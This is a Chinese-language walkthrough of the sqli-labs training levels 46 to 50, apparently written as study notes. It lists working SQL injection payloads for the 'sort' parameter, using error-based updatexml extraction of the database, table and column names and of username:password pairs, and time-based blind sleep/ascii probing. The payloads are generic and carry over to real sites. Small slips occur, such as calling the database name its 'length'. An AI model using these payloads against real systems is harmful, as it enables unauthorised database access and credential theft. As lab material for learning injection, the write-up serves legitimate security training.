第四六关 less-46

步骤一:利用报错注入查询库
?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1)

步骤二:查询表名
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)

步骤三:查看user表中列名
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)

步骤四:查询数据
?sort=1 and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)

第四七关 less-47

步骤一:利用报错注入查询库
?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

步骤二:查询表名
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) --+

步骤三:查看user表中列名
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

步骤四:查询数据
?sort=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1) --+

第四八关 less-48

步骤一:利用时间盲注查询数据库
?sort=1 and if((ascii(substr(database(),1,1))>114),sleep(3),1)
用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面延迟三秒访问 说明数据库第一位字符ascii码大于114

输入?sort=1 and if((ascii(substr(database(),1,1))>115),sleep(3),1)
判断数据库第一位字符的ascii码是否大于115 页面正常显示 说明不大于 大于114不大于115 说明第一位字符ascii码等于115

得出数据库长度为'security'
步骤二:查询表名
?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 ,sleep(3),1)
?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101 ,sleep(3),1)

第一个表名为'email'
第四九关 less-49

步骤一:利用时间盲注查询数据库
?sort=1' and if((ascii(substr(database(),1,1))>114),sleep(3),1)
用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面延迟三秒访问 说明数据库第一位字符ascii码大于114

输入?sort=1' and if((ascii(substr(database(),1,1))>115),sleep(3),1)--+
判断数据库第一位字符的ascii码是否大于115 页面正常显示 说明不大于 大于114不大于115 说明第一位字符ascii码等于115

得出数据库长度为'security'
步骤二:查询表名
?sort=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 ,sleep(3),1)--+

?sort=1'and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101 ,sleep(3),1)--+

第一个表名为'email'
第五十关 less-50

步骤一:利用报错注入查询库
?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1)--+

步骤二:查询表名
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+

步骤三:查看user表中列名
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

步骤四:查询数据
?sort=1 and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+
